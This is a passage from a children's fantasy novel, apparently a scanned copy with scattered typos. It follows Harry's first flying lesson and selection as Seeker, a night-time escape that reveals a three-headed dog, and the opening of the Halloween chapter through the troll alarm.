+Neville's hadn't moved at all. Perhaps brooms, like horses, could tell +when you were afraid, thought Harry; there was a quaver in Neville's +voice that said only too clearly that he wanted to keep his feet on the +ground. + +Madam Hooch then showed them how to mount their brooms without sliding +off the end, and walked up and down the rows correcting their grips. +Harry and Ron were delighted when she told Malfoy he'd been doing it +wrong for years. + +"Now, when I blow my whistle, you kick off from the ground, hard," said +Madam Hooch. "Keep your brooms steady, rise a few feet, and then come +straight back down by leaning forward slightly. On my whistle -- three +-- two --" + +But Neville, nervous and jumpy and frightened of being left on the +ground, pushed off hard before the whistle had touched Madam Hooch's +lips. + +"Come back, boy!" she shouted, but Neville was rising straight up like a +cork shot out of a bottle -- twelve feet -- twenty feet. Harry saw his +scared white face look down at the ground falling away, saw him gasp, +slip sideways off the broom and -- + +WHAM -- a thud and a nasty crack and Neville lay facedown on the grass +in a heap. His broomstick was still rising higher and higher, and +started to drift lazily toward the forbidden forest and out of sight. + +Madam Hooch was bending over Neville, her face as white as his. + +"Broken wrist," Harry heard her mutter. "Come on, boy -- it's all right, +up you get.". + +She turned to the rest of the class. + +"None of you is to move while I take this boy to the hospital wing! You +leave those brooms where they are or you'll be out of Hogwarts before +you can say 'Quidditch.' Come on, dear." + +Neville, his face tear-streaked, clutching his wrist, hobbled off with +Madam Hooch, who had her arm around him. + +No sooner were they out of earshot than Malfoy burst into laughter. + +"Did you see his face, the great lump?" + +The other Slytherins joined in. + +"Shut up, Malfoy," snapped Parvati Patil. + +"Ooh, sticking up for Longbottom?" said Pansy Parkinson, a hard-faced +Slytherin girl. "Never thought you'd like fat little crybabies, +Parvati." + +"Look!" said Malfoy, darting forward and snatching something out of the +grass. "It's that stupid thing Longbottom's gran sent him." + +The Remembrall glittered in the sun as he held it up. + +"Give that here, Malfoy," said Harry quietly. Everyone stopped talking +to watch. + +Malfoy smiled nastily. + +"I think I'll leave it somewhere for Longbottom to find -- how about -- +up a tree?" + +"Give it here!" Harry yelled, but Malfoy had leapt onto his broomstick +and taken off. He hadn't been lying, he could fly well. Hovering level +with the topmost branches of an oak he called, "Come and get it, +Potter!" + +Harry grabbed his broom. + +"No!" shouted Hermione Granger. "Madam Hooch told us not to move -- +you'll get us all into trouble." + +Harry ignored her. Blood was pounding in his ears. He mounted the broom +and kicked hard against the ground and up, up he soared; air rushed +through his hair, and his robes whipped out behind him -and in a rush of +fierce joy he realized he'd found something he could do without being +taught -- this was easy, this was wonderful. He pulled his broomstick up +a little to take it even higher, and heard screams and gasps of girls +back on the ground and an admiring whoop from Ron. + +He turned his broomstick sharply to face Malfoy in midair. Malfoy looked +stunned. + +"Give it here," Harry called, "or I'll knock you off that broom!" "Oh, +yeah?" said Malfoy, trying to sneer, but looking worried. + +Harry knew, somehow, what to do. He leaned forward and grasped the broom +tightly in both hands, and it shot toward Malfay like a javelin. Malfoy +only just got out of the way in time; Harry made a sharp about-face and +held the broom steady. A few people below were clapping. + +"No Crabbe and Goyle up here to save your neck, Malfoy," Harry called. + +The same thought seemed to have struck Malfoy. + +"Catch it if you can, then!" he shouted, and he threw the glass ball +high into the air and streaked back toward the ground. + +Harry saw, as though in slow motion, the ball rise up in the air and +then start to fall. He leaned forward and pointed his broom handle down +-- next second he was gathering speed in a steep dive, racing the ball +-- wind whistled in his ears, mingled with the screams of people +watching -- he stretched out his hand -- a foot from the ground he +caught it, just in time to pull his broom straight, and he toppled +gently onto the grass with the Remembrall clutched safely in his fist. + +"HARRY POTTER!" + +His heart sank faster than he'd just dived. Professor McGonagall was +running toward them. He got to his feet, trembling. + +"Never -- in all my time at Hogwarts --" + +Professor McGonagall was almost speechless with shock, and her glasses +flashed furiously, "-- how dare you -- might have broken your neck --" + +"It wasn't his fault, Professor --" + +"Be quiet, Miss Patil + +"But Malfoy --" + +"That's enough, Mr. Weasley. Potter, follow me, now." + +Harry caught sight of Malfoy, Crabbe, and Goyle's triumphant faces as he +left, walking numbly in Professor McGonagall's wake as she strode toward +the castle. He was going to be expelled, he just knew it. He wanted to +say something to defend himself, but there seemed to be something wrong +with his voice. Professor McGonagall was sweeping along without even +looking at him; he had to jog to keep up. Now he'd done it. He hadn't +even lasted two weeks. He'd be packing his bags in ten minutes. What +would the Dursleys say when he turned up on the doorstep? + +Up the front steps, up the marble staircase inside, and still Professor +McGonagall didn't say a word to him. She wrenched open doors and marched +along corridors with Harry trotting miserably behind her. Maybe she was +taking him to Dumbledore. He thought of Hagrid, expelled but allowed to +stay on as gamekeeper. Perhaps he could be Hagrid's assistant. His +stomach twisted as he imagined it, watching Ron and the others becoming +wizards, while he stumped around the grounds carrying Hagrid's bag. + +Professor McGonagall stopped outside a classroom. She opened the door +and poked her head inside. + +"Excuse me, Professor Flitwick, could I borrow Wood for a moment?" + +Wood? thought Harry, bewildered; was Wood a cane she was going to use on +him? + +But Wood turned out to be a person, a burly fifth-year boy who came out +of Flitwicles class looking confused. + +"Follow me, you two," said Professor McGonagall, and they marched on up +the corridor, Wood looking curiously at Harry. + +"In here." + +Professor McGonagall pointed them into a classroom that was empty except +for Peeves, who was busy writing rude words on the blackboard. + +"Out, Peeves!" she barked. Peeves threw the chalk into a bin, which +clanged loudly, and he swooped out cursing. Professor McGonagall slammed +the door behind him and turned to face the two boys. + +"Potter, this is Oliver Wood. Wood -- I've found you a Seeker." + +Wood's expression changed from puzzlement to delight. + +"Are you serious, Professor?" + +"Absolutely," said Professor McGonagall crisply. "The boy's a natural. +I've never seen anything like it. Was that your first time on a +broomstick, Potter?" + +Harry nodded silently. He didn't have a clue what was going on, but he +didn't seem to be being expelled, and some of the feeling started coming +back to his legs. + +"He caught that thing in his hand after a fifty-foot dive," Professor +McGonagall told Wood. "Didn't even scratch himself. Charlie Weasley +couldn't have done it." + +Wood was now looking as though all his dreams had come true at once. + +"Ever seen a game of Quidditch, Potter?" he asked excitedly. + +"Wood's captain of the Gryffindor team," Professor McGonagall explained. + +"He's just the build for a Seeker, too," said Wood, now walking around +Harry and staring at him. "Light -- speedy -- we'll have to get him a +decent broom, Professor -- a Nimbus Two Thousand or a Cleansweep Seven, +I'd say." + +I shall speak to Professor Dumbledore and see if we can't bend the +first-year rule. Heaven knows, we need a better team than last year. +Flattened in that last match by Slytherin, I couldn't look Severus Snape +in the face for weeks...." + +Professor McGonagall peered sternly over her glasses at Harry. + +"I want to hear you're training hard, Potter, or I may change my mind +about punishing you." + +Then she suddenly smiled. + +"Your father would have been proud," she said. "He was an excellent +Quidditch player himself." + +"You're joking." + +It was dinnertime. Harry had just finished telling Ron what had happened +when he'd left the grounds with Professor McGonagall. Ron had a piece of +steak and kidney pie halfway to his mouth, but he'd forgotten all about +it. + +"Seeker?" he said. "But first years never -- you must be the youngest +house player in about a century, said Harry, shoveling pie into his +mouth. He felt particularly hungry after the excitement of the +afternoon. "Wood told me." + +Ron was so amazed, so impressed, he just sat and gaped at Harry. + +"I start training next week," said Harry. "Only don't tell anyone, Wood +wants to keep it a secret." + +Fred and George Weasley now came into the hall, spotted Harry, and +hurried over. + +"Well done," said George in a low voice. "Wood told us. We're on the +team too -- Beaters." + +"I tell you, we're going to win that Quidditch cup for sure this year," +said Fred. "We haven't won since Charlie left, but this year's team is +going to be brilliant. You must be good, Harry, Wood was almost skipping +when he told us." + +"Anyway, we've got to go, Lee Jordan reckons he's found a new secret +passageway out of the school." + +"Bet it's that one behind the statue of Gregory the Smarmy that we found +in our first week. See you." + +Fred and George had hardly disappeared when someone far less welcome +turned up: Malfoy, flanked by Crabbe and Goyle. + +"Having a last meal, Potter? When are you getting the train back to the +Muggles?" + +"You're a lot braver now that you're back on the ground and you've got +your little friends with you," said Harry coolly. There was of course +nothing at all little about Crabbe and Goyle, but as the High Table was +full of teachers, neither of them could do more than crack their +knuckles and scowl. + +"I'd take you on anytime on my own," said Malfoy. "Tonight, if you want. +Wizard's duel. Wands only -- no contact. What's the matter? Never heard +of a wizard's duel before, I suppose?" + +"Of course he has," said Ron, wheeling around. "I'm his second, who's +yours?" + +Malfoy looked at Crabbe and Goyle, sizing them up. + +"Crabbe," he said. "Midnight all right? We'll meet you in the trophy +room; that's always unlocked." + +When Malfoy had gone, Ron and Harry looked at each other. "What is a +wizard's duel?" said Harry. "And what do you mean, you're my second?" + +"Well, a second's there to take over if you die," said Ron casually, +getting started at last on his cold pie. Catching the look on Harry's +face, he added quickly, "But people only die in proper duels, you know, +with real wizards. The most you and Malfoy'll be able to do is send +sparks at each other. Neither of you knows enough magic to do any real +damage. I bet he expected you to refuse, anyway." + +"And what if I wave my wand and nothing happens?" + +"Throw it away and punch him on the nose," Ron suggested. "Excuse me." + +They both looked up. It was Hermione Granger. + +"Can't a person eat in peace in this place?" said Ron. + +Hermione ignored him and spoke to Harry. + +"I couldn't help overhearing what you and Malfoy were saying --" + +"Bet you could," Ron muttered. + +"--and you mustn't go wandering around the school at night, think of the +points you'll lose Gryffindor if you're caught, and you're bound to be. +It's really very selfish of you." + +"And it's really none of your business," said Harry. + +"Good-bye," said Ron. + +All the same, it wasn't what you'd call the perfect end to the day, +Harry thought, as he lay awake much later listening to Dean and Seamus +falling asleep (Neville wasn't back from the hospital wing). Ron had +spent all evening giving him advice such as "If he tries to curse you, +you'd better dodge it, because I can't remember how to block them." +There was a very good chance they were going to get caught by Filch or +Mrs. Norris, and Harry felt he was pushing his luck, breaking another +school rule today. On the other hand, Malfoys sneering face kept looming +up out of the darkness - this was his big chance to beat Malfoy +face-to-face. He couldn't miss it. + +"Half-past eleven," Ron muttered at last, "we'd better go." + +They pulled on their bathrobes, picked up their wands, and crept across +the tower room, down the spiral staircase, and into the Gryffindor +common room. A few embers were still glowing in the fireplace, turning +all the armchairs into hunched black shadows. They had almost reached +the portrait hole when a voice spoke from the chair nearest them, "I +can't believe you're going to do this, Harry." + +A lamp flickered on. It was Hermione Granger, wearing a pink bathrobe +and a frown. + +"You!" said Ron furiously. "Go back to bed!" + +"I almost told your brother," Hermione snapped, "Percy -- he's a +prefect, he'd put a stop to this." + +Harry couldn't believe anyone could be so interfering. + +"Come on," he said to Ron. He pushed open the portrait of the Fat Lady +and climbed through the hole. + +Hermione wasn't going to give up that easily. She followed Ron through +the portrait hole, hissing at them like an angry goose. + +"Don't you care about Gryffindor, do you only care about yourselves, I +don't want Slytherin to win the house cup, and you'll lose all the +points I got from Professor McGonagall for knowing about Switching +Spells." + +"Go away." "All right, but I warned you, you just remember what I said +when you're on the train home tomorrow, you're so --" + +But what they were, they didn't find out. Hermione had turned to the +portrait of the Fat Lady to get back inside and found herself facing an +empty painting. The Fat Lady had gone on a nighttime visit and Hermione +was locked out of Gryffindor tower. + +"Now what am I going to do?" she asked shrilly. + +"That's your problem," said Ron. "We've got to go, we 3 re going to be +late." + +They hadn't even reached the end of the corridor when Hermione caught up +with them. + +"I'm coming with you," she said. + +"You are not." + +"D'you think I'm going to stand out here and wait for Filch to catch me? +If he finds all three of us I'll tell him the truth, that I was trying +to stop you, and you can back me up." + +"You've got some nerve --" said Ron loudly. + +"Shut up, both of you!" said Harry sharply. I heard something." + +It was a sort of snuffling. + +"Mrs. Norris?" breathed Ron, squinting through the dark. + +It wasn't Mrs. Norris. It was Neville. He was curled up on the floor, +fast asleep, but jerked suddenly awake as they crept nearer. + +"Thank goodness you found me! I've been out here for hours, I couldn't +remember the new password to get in to bed." + +"Keep your voice down, Neville. The password's 'Pig snout' but it won't +help you now, the Fat Lady's gone off somewhere." + +"How's your arm?" said Harry. + +"Fine," said Neville, showing them. "Madam Pomfrey mended it in about a +minute." + +"Good - well, look, Neville, we've got to be somewhere, we'll see you +later --" + +"Don't leave me!" said Neville, scrambling to his feet, "I don't want to +stay here alone, the Bloody Baron's been past twice already." + +Ron looked at his watch and then glared furiously at Hermione and +Neville. + +"If either of you get us caught, I'll never rest until I've learned that +Curse of the Bogies Quirrell told us about, and used it on you. + +Hermione opened her mouth, perhaps to tell Ron exactly how to use the +Curse of the Bogies, but Harry hissed at her to be quiet and beckoned +them all forward. + +They flitted along corridors striped with bars of moonlight from the +high windows. At every turn Harry expected to run into Filch or Mrs. +Norris, but they were lucky. They sped up a staircase to the third floor +and tiptoed toward the trophy room. + +Malfoy and Crabbe weren't there yet. The crystal trophy cases glimmered +where the moonlight caught them. Cups, shields, plates, and statues +winked silver and gold in the darkness. They edged along the walls, +keeping their eyes on the doors at either end of the room. Harry took +out his wand in case Malfoy leapt in and started at once. The minutes +crept by. + +"He's late, maybe he's chickened out," Ron whispered. + +Then a noise in the next room made them jump. Harry had only just raised +his wand when they heard someone speak -and it wasn't Malfoy. + +"Sniff around, my sweet, they might be lurking in a corner." + +It was Filch speaking to Mrs. Norris. Horror-struck, Harry waved madly +at the other three to follow him as quickly as possible; they scurried +silently toward the door, away from Filch's voice. Neville's robes had +barely whipped round the corner when they heard Filch enter the trophy +room. + +"They're in here somewhere," they heard him mutter, "probably hiding." + +"This way!" Harry mouthed to the others and, petrified, they began to +creep down a long gallery full of suits of armor. They could hear Filch +getting nearer. Neville suddenly let out a frightened squeak and broke +into a run -he tripped, grabbed Ron around the waist, and the pair of +them toppled right into a suit of armor. + +The clanging and crashing were enough to wake the whole castle. + +"RUN!" Harry yelled, and the four of them sprinted down the gallery, not +looking back to see whether Filch was following -- they swung around the +doorpost and galloped down one corridor then another, Harry in the lead, +without any idea where they were or where they were going -- they ripped +through a tapestry and found themselves in a hidden passageway, hurtled +along it and came out near their Charms classroom, which they knew was +miles from the trophy room. + +"I think we've lost him," Harry panted, leaning against the cold wall +and wiping his forehead. Neville was bent double, wheezing and +spluttering. + +I -- told -you," Hermione gasped, clutching at the stitch in her chest, +"I -- told -- you." + +"We've got to get back to Gryffindor tower," said Ron, "quickly as +possible." + +"Malfoy tricked you," Hermione said to Harry. "You realize that, don't +you? He was never going to meet you -- Filch knew someone was going to +be in the trophy room, Malfoy must have tipped him off." + +Harry thought she was probably right, but he wasn't going to tell her +that. + +"Let's go." + +It wasn't going to be that simple. They hadn't gone more than a dozen +paces when a doorknob rattled and something came shooting out of a +classroom in front of them. + +It was Peeves. He caught sight of them and gave a squeal of delight. + +"Shut up, Peeves -- please -- you'll get us thrown out." + +Peeves cackled. + +"Wandering around at midnight, Ickle Firsties? Tut, tut, tut. Naughty, +naughty, you'll get caughty." + +"Not if you don't give us away, Peeves, please." + +"Should tell Filch, I should," said Peeves in a saintly voice, but his +eyes glittered wickedly. "It's for your own good, you know." + +"Get out of the way," snapped Ron, taking a swipe at Peeves this was a +big mistake. + +"STUDENTS OUT OF BED!" Peeves bellowed, "STUDENTS OUT OF BED DOWN THE +CHARMS CORRIDOR" + +Ducking under Peeves, they ran for their lives, right to the end of the +corridor where they slammed into a door -- and it was locked. + +"This is it!" Ron moaned, as they pushed helplessly at the door, "We're +done for! This is the end!" They could hear footsteps, Filch running as +fast as he could toward Peeves's shouts. + +"Oh, move over," Hermione snarled. She grabbed Harry's wand, tapped the +lock, and whispered, 'Alohomora!" + +The lock clicked and the door swung open -- they piled through it, shut +it quickly, and pressed their ears against it, listening. + +"Which way did they go, Peeves?" Filch was saying. "Quick, tell me." + +"Say 'please."' + +"Don't mess with me, Peeves, now where did they go?" + +"Shan't say nothing if you don't say please," said Peeves in his +annoying singsong voice. + +"All right -please." + +"NOTHING! Ha haaa! Told you I wouldn't say nothing if you didn't say +please! Ha ha! Haaaaaa!" And they heard the sound of Peeves whooshing +away and Filch cursing in rage. + +"He thinks this door is locked," Harry whispered. "I think we'll be okay +-- get off, Neville!" For Neville had been tugging on the sleeve of +Harry's bathrobe for the last minute. "What?" + +Harry turned around -- and saw, quite clearly, what. For a moment, he +was sure he'd walked into a nightmare -- this was too much, on top of +everything that had happened so far. + +They weren't in a room, as he had supposed. They were in a corridor. The +forbidden corridor on the third floor. And now they knew why it was +forbidden. + +They were looking straight into the eyes of a monstrous dog, a dog that +filled the whole space between ceiling and floor. It had three heads. +Three pairs of rolling, mad eyes; three noses, twitching + +and quivering in their direction; three drooling mouths, saliva hanging +in slippery ropes from yellowish fangs. + +It was standing quite still, all six eyes staring at them, and Harry +knew that the only reason they weren't already dead was that their +sudden appearance had taken it by surprise, but it was quickly getting +over that, there was no mistaking what those thunderous growls meant. + +Harry groped for the doorknob -- between Filch and death, he'd take +Filch. + +They fell backward -- Harry slammed the door shut, and they ran, they +almost flew, back down the corridor. Filch must have hurried off to look +for them somewhere else, because they didn't see him anywhere, but they +hardly cared -- all they wanted to do was put as much space as possible +between them and that monster. They didn't stop running until they +reached the portrait of the Fat Lady on the seventh floor. + +"Where on earth have you all been?" she asked, looking at their +bathrobes hanging off their shoulders and their flushed, sweaty faces. + +"Never mind that -- pig snout, pig snout," panted Harry, and the +portrait swung forward. They scrambled into the common room and +collapsed, trembling, into armchairs. + +It was a while before any of them said anything. Neville, indeed, looked +as if he'd never speak again. + +"What do they think they're doing, keeping a thing like that locked up +in a school?" said Ron finally. "If any dog needs exercise, that one +does." + +Hermione had got both her breath and her bad temper back again. "You +don't use your eyes, any of you, do you?" she snapped. "Didn't you see +what it was standing on. + +"The floor?" Harry suggested. "I wasn't looking at its feet, I was too +busy with its heads." + +"No, not the floor. It was standing on a trapdoor. It's obviously +guarding something." + +She stood up, glaring at them. + +I hope you're pleased with yourselves. We could all have been killed -- +or worse, expelled. Now, if you don't mind, I'm going to bed." + +Ron stared after her, his mouth open. + +"No, we don't mind," he said. "You'd think we dragged her along, +wouldn't you. + +But Hermione had given Harry something else to think about as he climbed +back into bed. The dog was guarding something.... What had Hagrid said? +Gringotts was the safest place in the world for something you wanted to +hide -- except perhaps Hogwarts. + +It looked as though Harry had found out where the grubby littie package +from vault seven hundred and thirteen was. + + +CHAPTER TEN + +HALLOWEEN + +Malfoy couldn't believe his eyes when he saw that Harry and Ron were +still at Hogwarts the next day, looking tired but perfectly cheerful. +Indeed, by the next morning Harry and Ron thought that meeting the +three-headed dog had been an excellent adventure, and they were quite +keen to have another one. In the meantime, Harry filled Ron in about the +package that seemed to have been moved from Gringotts to Hogwarts, and +they spent a lot of time wondering what could possibly need such heavy +protection. "It's either really valuable or really dangerous," said Ron. +"Or both," said Harry. + + +But as all they knew for sure about the mysterious object was that it +was about two inches long, they didn't have much chance of guessing what +it was without further clues. + +Neither Neville nor Hermione showed the slightest interest in what lay +underneath the dog and the trapdoor. All Neville cared about was never +going near the dog again. + +Hermione was now refusing to speak to Harry and Ron, but she was such a +bossy know-it-all that they saw this as an added bonus. All they really +wanted now was a way of getting back at Malfoy, and to their great +delight, just such a thing arrived in the mail about a week later. + +As the owls flooded into the Great Hall as usual, everyone's attention +was caught at once by a long, thin package carried by six large screech +owls. Harry was just as interested as everyone else to see what was in +this large parcel, and was amazed when the owls soared down and dropped +it right in front of him, knocking his bacon to the floor. They had +hardly fluttered out of the way when another owl dropped a letter on top +of the parcel. + +Harry ripped open the letter first, which was lucky, because it said: + + +DO NOT OPEN THE PARCEL AT THE TABLE. + +It contains your new Nimbus Two Thousand, but I don't want everybody +knowing you've got a broomstick or they'll all want one. Oliver Wood +will meet you tonight on the Quidditch field at seven o'clock for your +first training session. + +Professor McGonagall + +Harry had difficulty hiding his glee as he handed the note to Ron to +read. + +"A Nimbus Two Thousand!" Ron moaned enviously. "I've never even touched +one." + +They left the hall quickly, wanting to unwrap the broomstick in private +before their first class, but halfway across the entrance hall they +found the way upstairs barred by Crabbe and Goyle. Malfoy seized the +package from Harry and felt it. + +"That's a broomstick," he said, throwing it back to Harry with a mixture +of jealousy and spite on his face. "You'll be in for it this time, +Potter, first years aren't allowed them." + +Ron couldn't resist it. + +"It's not any old broomstick," he said, "it's a Nimbus Two Thousand. +What did you say you've got at home, Malfoy, a Comet Two Sixty?" Ron +grinned at Harry. "Comets look flashy, but they're not in the same +league as the Nimbus." + +"What would you know about it, Weasley, you couldn't afford half the +handle," Malfoy snapped back. "I suppose you and your brothers have to +save up twig by twig." + +Before Ron could answer, Professor Flitwick appeared at Malfoy's elbow. + +"Not arguing, I hope, boys?" he squeaked. + +"Potter's been sent a broomstick, Professor," said Malfoy quickly. + +"Yes, yes, that's right," said Professor Flitwick, beaming at Harry. +"Professor McGonagall told me all about the special circumstances, +Potter. And what model is it?" + +"A Nimbus Two Thousand, sit," said Harry, fighting not to laugh at the +look of horror on Malfoy's face. "And it's really thanks to Malfoy here +that I've got it," he added. + +Harry and Ron headed upstairs, smothering their laughter at Malfoy's +obvious rage and confusion. "Well, it's true," Harry chortled as they +reached the top of the marble staircase, "If he hadn't stolen Neville's +Remembrall I wouln't be on the team...." + +"So I suppose you think that's a reward for breaking rules?" came an +angry voice from just behind them. Hermione was stomping up the stairs, +looking disapprovingly at the package in Harry's hand. + +"I thought you weren't speaking to us?" said Harry. + +"Yes, don't stop now," said Ron, "it's doing us so much good." + +Hermione marched away with her nose in the air. + +Harry had a lot of trouble keeping his mind on his lessons that day. It +kept wandering up to the dormitory where his new broomstick was lying +under his bed, or straying off to the Quidditch field where he'd be +learning to play that night. He bolted his dinner that evening without +noticing what he was eating, and then rushed upstairs with Ron to unwrap +the Nimbus Two Thousand at last. + +"Wow," Ron sighed, as the broomstick rolled onto Harry's bedspread. + +Even Harry, who knew nothing about the different brooms, thought it +looked wonderful. Sleek and shiny, with a mahogany handle, it had a long +tail of neat, straight twigs and Nimbus Two Thousand written in gold +near the top. + +As seven o'clock drew nearer, Harry left the castle and set off in the +dusk toward the Quidditch field. Held never been inside the stadium +before. Hundreds of seats were raised in stands around the field so that +the spectators were high enough to see what was going on. At either end +of the field were three golden poles with hoops on the end. They +reminded Harry of the little plastic sticks Muggle + +children blew bubbles through, except that they were fifty feet high. + +Too eager to fly again to wait for Wood, Harry mounted his broomstick +and kicked off from the ground. What a feeling -- he swooped in and out +of the goal posts and then sped up and down the field. The Nimbus Two +Thousand turned wherever he wanted at his lightest touch. + +"Hey, Potter, come down!' + +Oliver Wood had arrived. fie was carrying a large wooden crate under his +arm. Harry landed next to him. + +"Very nice," said Wood, his eyes glinting. "I see what McGonagall +meant... you really are a natural. I'm just going to teach you the rules +this evening, then you'll be joining team practice three times a week." + +He opened the crate. Inside were four different-sized balls. + +"Right," said Wood. "Now, Quidditch is easy enough to understand, even +if it's not too easy to play. There are seven players on each side. +Three of them are called Chasers." + +"Three Chasers," Harry repeated, as Wood took out a bright red ball +about the size of a soccer ball. + +"This ball's called the Quaffle," said Wood. "The Chasers throw the +Quaffle to each other and try and get it through one of the hoops to +score a goal. Ten points every time the Quaffle goes through one of the +hoops. Follow me?" + +"The Chasers throw the Quaffle and put it through the hoops to score," +Harry recited. "So -- that's sort of like basketball on broomsticks with +six hoops, isn't it?" + +"What's basketball?" said Wood curiously. "Never mind," said Harry +quickly. + +"Now, there's another player on each side who's called the Keeper -I'm +Keeper for Gryffindor. I have to fly around our hoops and stop the other +team from scoring." + +"Three Chasers, one Keeper," said Harry, who was determined to remember +it all. "And they play with the Quaffle. Okay, got that. So what are +they for?" He pointed at the three balls left inside the box. + +"I'll show you now," said Wood. "Take this." + +He handed Harry a small club, a bit like a short baseball bat. + +"I'm going to show you what the Bludgers do," Wood said. "These two are +the Bludgers." + +He showed Harry two identical balls, jet black and slightly smaller than +the red Quaffle. Harry noticed that they seemed to be straining to +escape the straps holding them inside the box. + +"Stand back," Wood warned Harry. He bent down and freed one of the +Bludgers. + +At once, the black ball rose high in the air and then pelted straight at +Harry's face. Harry swung at it with the bat to stop it from breaking +his nose, and sent it zigzagging away into the air -- it zoomed around +their heads and then shot at Wood, who dived on top of it and managed to +pin it to the ground. + +"See?" Wood panted, forcing the struggling Bludger back into the crate +and strapping it down safely. "The Bludgers rocket around, trying to +knock players off their brooms. That's why you have two Beaters on each +team -- the Weasley twins are ours -- it's their job to protect their +side from the Bludgers and try and knock them toward the other team. So +-- think you've got all that?" + +"Three Chasers try and score with the Quaffle; the Keeper guards the +goal posts; the Beaters keep the Bludgers away from their team," Harry +reeled off. + +"Very good," said Wood. + +"Er -- have the Bludgers ever killed anyone?" Harry asked, hoping he +sounded offhand. + +"Never at Hogwarts. We've had a couple of broken jaws but nothing worse +than that. Now, the last member of the team is the + +Seeker. That's you. And you don't have to worry about the Quaffle or the +Bludgers unless they crack my head open." + +"Don't worry, the Weasleys are more than a match for the Bludgers -- I +mean, they're like a pair of human Bludgers themselves." + +Wood reached into the crate and took out the fourth and last ball. +Compared with the Quaffle and the Bludgers, it was tiny, about the size +of a large walnut. It was bright gold and had little fluttering silver +wings. + +"This," said Wood, "is the Golden Snitch, and it's the most important +ball of the lot. It's very hard to catch because it's so fast and +difficult to see. It's the Seeker's job to catch it. You've got to weave +in and out of the Chasers, Beaters, Bludgers, and Quaffle to get it +before the other team's Seeker, because whichever Seeker catches the +Snitch wins his team an extra hundred and fifty points, so they + +nearly always win. That's why Seekers get fouled so much. A game of +Quidditch only ends when the Snitch is caught, so it can go on for ages +-- I think the record is three months, they had to keep bringing on +substitutes so the players could get some sleep. "Well, that's it -- any +questions?" + +Harry shook his head. He understood what he had to do all right, it was +doing it that was going to be the problem. + +"We won't practice with the Snitch yet," said Wood, carefully shutting +it back inside the crate, "it's too dark, we might lose it. Let's try +you out with a few of these." + +He pulled a bag of ordinary golf balls out of his pocket and a few +minutes later, he and Harry were up in the air, Wood throwing the golf +balls as hard as he could in every direction for Harry to catch. + +Harry didn't miss a single one, and Wood was delighted. After half an +hour, night had really fallen and they couldn't carry on. + +"That Quidditch cup'll have our name on it this year," said Wood happily +as they trudged back up to the castle. "I wouldn't be surprised if you +turn out better than Charlie Weasley, and he could have played for +England if he hadn't gone off chasing dragons." + +Perhaps it was because he was now so busy, what with Quidditch practice +three evenings a week on top of all his homework, but Harry could hardly +believe it when he realized that he'd already been at Hogwarts two +months. The castle felt more like home than Privet Drive ever had. His +lessons, too, were becoming more and more interesting now that they had +mastered the basics. + +On Halloween morning they woke to the delicious smell of baking pumpkin +wafting through the corridors. Even better, Professor Flitwick announced +in Charms that he thought they were ready to start making objects fly, +something they had all been dying to try since they'd seen him make +Neville's toad zoom around the classroom. Professor Flitwick put the +class into pairs to practice. Harry's partner was Seamus Finnigan (which +was a relief, because Neville had been trying to catch his eye). Ron, +however, was to be working with Hermione Granger. It was hard to tell +whether Ron or Hermione was angrier about this. She hadn't spoken to +either of them since the day Harry's broomstick had arrived. + +"Now, don't forget that nice wrist movement we've been practicing!" +squeaked Professor Flitwick, perched on top of his pile of books as +usual. "Swish and flick, remember, swish and flick. And saying the magic +words properly is very important, too -- never forget Wizard Baruffio, +who said 's' instead of 'f' and found himself on the floor with a +buffalo on his chest." + +It was very difficult. Harry and Seamus swished and flicked, but the +feather they were supposed to be sending skyward just lay on the +desktop. Seamus got so impatient that he prodded it with his wand and +set fire to it -- Harry had to put it out with his hat. + +Ron, at the next table, wasn't having much more luck. + +"Wingardium Leviosa!" he shouted, waving his long arms like a windmill. + +"You're saying it wrong," Harry heard Hermione snap. "It's Wing-gar-dium +Levi-o-sa, make the 'gar' nice and long." + + +"You do it, then, if you're so clever," Ron snarled. + +Hermione rolled up the sleeves of her gown, flicked her wand, and said, +"Wingardium Leviosa!" + +Their feather rose off the desk and hovered about four feet above their +heads. + +"Oh, well done!" cried Professor Flitwick, clapping. "Everyone see here, +Miss Granger's done it!" + +Ron was in a very bad mood by the end of the class. "It's no wonder no +one can stand her," he said to Harry as they pushed their way into the +crowded corridor, "she's a nightmare, honestly. " + +Someone knocked into Harry as they hurried past him. It was Hermione. +Harry caught a glimpse of her face -- and was startled to see that she +was in tears. + +"I think she heard you." + +"So?" said Ron, but he looked a bit uncomfortable. "She must've noticed +she's got no friends." + +Hermione didn't turn up for the next class and wasn't seen all +afternoon. On their way down to the Great Hall for the Halloween feast, +Harry and Ron overheard Parvati Patil telling her friend Lavender that +Hermione was crying in the girls' bathroom and wanted to be left alone. +Ron looked still more awkward at this, but a moment later they had +entered the Great Hall, where the Halloween decorations put Hermione out +of their minds. + +A thousand live bats fluttered from the walls and ceiling while a +thousand more swooped over the tables in low black clouds, making the +candles in the pumpkins stutter. The feast appeared suddenly on the +golden plates, as it had at the start-of-term banquet. + +Harry was just helping himself to a baked potato when Professor Quirrell +came sprinting into the hall, his turban askew and terror on his face. +Everyone stared as he reached Professor Dumbledore's chair, slumped +against the table, and gasped, "Troll -- in the dungeons -- thought you +ought to know." + +He then sank to the floor in a dead faint. + +There was an uproar. It took several purple firecrackers exploding from +the end of Professor Dumbledore's wand to bring silence. + +"Prefects," he rumbled, "lead your Houses back to the dormitories +immediately!" + +Percy was in his element. + +"Follow me! Stick together, first years! No need to fear the troll if +you follow my orders! Stay close behind me, now. Make way, first years +coming through! Excuse me, I'm a prefect!" + +"How could a troll get in?" Harry asked as they climbed the stairs. + +"Don't ask me, they're supposed to be really stupid," said Ron. "Maybe +Peeves let it in for a Halloween joke." + +They passed different groups of people hurrying in different directions. +As they jostled their way through a crowd of confused Hufflepuffs, Harry +suddenly grabbed Ron's arm. + +"I've just thought -- Hermione." + +"What about her?" + +"She doesn't know about the troll." + +Ron bit his lip. + +"Oh, all right," he snapped. "But Percy'd better not see us." + +Ducking down, they joined the Hufflepuffs going the other way, slipped +down a deserted side corridor, and hurried off toward the girls' +bathroom. They had just turned the corner when they heard quick +footsteps behind them. + +"Percy!" hissed Ron, pulling Harry behind a large stone griffin. + +Peering around it, however, they saw not Percy but Snape. He crossed the +corridor and disappeared from view. + +"What's he doing?" Harry whispered. "Why isn't he down in the dungeons +with the rest of the teachers?" + +"Search me." + +Quietly as possible, they crept along the next corridor after Snape's +fading footsteps. + +"He's heading for the third floor," Harry said, but Ron held up his +hand. + +"Can you smell something?" + +Harry sniffed and a foul stench reached his nostrils, a mixture of old +socks and the kind of public toilet no one seems to clean. + +And then they heard it -- a low grunting, and the shuffling footfalls of +gigantic feet. Ron pointed -- at the end of a 